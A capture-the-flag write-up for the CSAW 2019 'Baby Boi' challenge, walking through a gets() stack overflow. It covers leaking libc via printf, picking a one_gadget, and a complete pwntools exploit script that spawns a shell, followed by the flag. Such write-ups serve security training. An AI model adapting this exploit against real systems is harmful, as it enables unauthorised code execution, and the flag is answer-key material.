Writeup: CSAW Quals 2019 - Baby Boi

Information

  • category : pwn
  • points : 50

Description

Welcome to pwn. nc pwn.chal.csaw.io 1005

Three files : baby_boi, baby_boi.c, libc-2.27.so

Writeup

Ok, so we have the libc (libc-2.27.so) used by baby_boi (binary of baby_boi.c).

Let’s see the source code :

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv[]) {
char buf[32];
printf("Hello!\n");
printf("Here I am: %p\n", printf);
gets(buf);
}

Oh it’s really baby as the title said, and we can notice gets(buf) in the end –> buffer overflow.

Check the security protections and properties of the binary:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ file baby_boi
baby_boi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=065da8fff74608a5758babd74e18e7e046054d84, not stripped

$ checksec --verbose --file=baby_boi
RELRO : Partial RELRO
Stack Canary : No
NX : Enabled
PIE : No PIE
RPATH : No RPATH
RUNPATH : No RUNPATH
Symbols : 64
Fortify : No
Fortified : 0
Fortifiable : 2

How to pwn ?

We can easily compute the base address of the libc substracting from the printf-address (given by the program’s output) the symbols of printf contained in the libc-2.27.so.

After that we can use one_gadget to execute /bin/sh.

1
2
3
4
5
6
7
8
9
10
11
12
$ one_gadget ./libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ) # Let's try this one
constraints:
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

# Variables
conn = remote('pwn.chal.csaw.io', '1005')
libc = ELF("./libc-2.27.so")
log.info(conn.recvuntil('I am:'))
printf_address = int(conn.recvuntil("\n"), 16)
libc_base = printf_address - libc.symbols["printf"]
one_gadget = 0x4f2c5

# Create payload
log.info("printf_address @ %s" % hex(printf_address))
log.info("printf symbol address @ %s" % hex(libc.symbols["printf"]))
log.info("libc base @ %s" % hex(libc_base))
payload = "A" * 40 + p64(libc_base + one_gadget)

# Time to get a shell -\_('_')_/-
conn.sendline(payload)
conn.interactive()

Flag

flag{baby_boi_dodooo_doo_doo_dooo}